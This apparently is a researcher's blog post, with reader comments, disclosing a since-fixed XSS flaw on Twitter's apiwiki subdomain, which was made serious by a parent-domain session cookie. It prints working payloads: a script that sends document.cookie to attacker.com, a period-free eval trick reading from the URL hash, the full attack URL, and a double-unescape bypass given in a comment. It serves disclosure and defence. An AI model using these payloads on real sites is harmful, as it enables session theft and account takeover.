Cookie scoping - Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com. APIwiki is meant to be a resource for developers looking to utilize the twitter APIs. Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)
With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place). Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain. Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.
The XSS bug - The actual XSS bug was found here:
http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>
sdiff.php is looking to compare two different php files. The querystring parameters named “first” and “second” both expect to have a php filename. If an invalid filename was provided, an exception would be thrown and an error message would be displayed. The error message looked something like this:
Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup. The stacktrace contains our unsanitized, attacker controlled values. Classic XSS straight out of Web app security 101.
The Payload – Now here’s where things got interesting. Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:
&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php
Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace. This second stack trace did not contain any attacker controlled data. So essentially, I had to generate a javascript payload to without any periods. There are a couple ways to do this… here’s how I did it:
1: I pulled up the actual payload I wanted to execute. In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:
var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;
2: I appended this payload to the end of the attack URL using the # (hash) symbol. Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server. An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml). In this case, I use the hash to get around the restrictions on my JavaScript payload.
&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;
3: Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods. The JavaScript I want to execute is: eval(document.location.hash.substr(1)); This would eval all the JavaScript following the hash mark. Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part). For example, the location property belongs to the document object. The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’]. This can be done for any property and even functions, so our injected string without periods is:
eval(document['location']['hash']['substr'](1))
(kuza’s eval(window[‘name’]) should also work here)
The final URL looked like this:
http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=--%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies
I reported the bug to the Twitter security team and they addressed it in a timely manner. It was a pleasure working with them.
one other approach to try is to URL encode the payload (or even double URL encode) and then use unescape to decode it back
ReplyDeleteA single URL uncode was one of the first things I tried, but you're right a double escape with a few unescape() calls would have probably worked just as well
ReplyDeleteeval(unescape(unescape('%25%32%65 Payload with periods %25%32%65')))
apiwiki.twitter.com is running PBWorks PBWiki SaaS so this XSS was not just in Twitter but every website using the service. I'm assuming Twitter contacted PBWorks when you reported the issue to them.
ReplyDeleteThe lesson here is that if you are going to use a third party service on a subdomain make sure you properly scope your cookies and also restrict crossdomain.xml access.
Uh oh, xssniper is back. No one is safe. You've been forewarned MW...
ReplyDeleteGood article! If Twitter had been using the HTTPOnly flag on the cookie, would your exploit have worked? I appreciate that HTTPOnly is not honoured by all browsers and that it is not the ideal solution - but that it may help as part of a "defense in depth" approach.
ReplyDeleteAlexis
True, PBWorks PBwiki is a SaaS. There is a possibility that this XSS bug affects other websites as well (depending on what domain the wiki is served from). I looks like debugging functionality may have been enabled on the Twitter PBWiki site (ala stacktrace), which is now turned off.
ReplyDeleteI completely agree on appropriately scoping cookies and locking down crossdomain.xml files. I think twitter should move the apiwiki to a seperate domain if possible
HTTPOnly would have helped defend against session cookie theft. HTTPOnly does not defend against attackers executing actions on behalf of the victim. So if twitter had HTTPOnly enabled, the attacker could still send tweets on behalf of the victim and steal all the content associated with the victim
ReplyDelete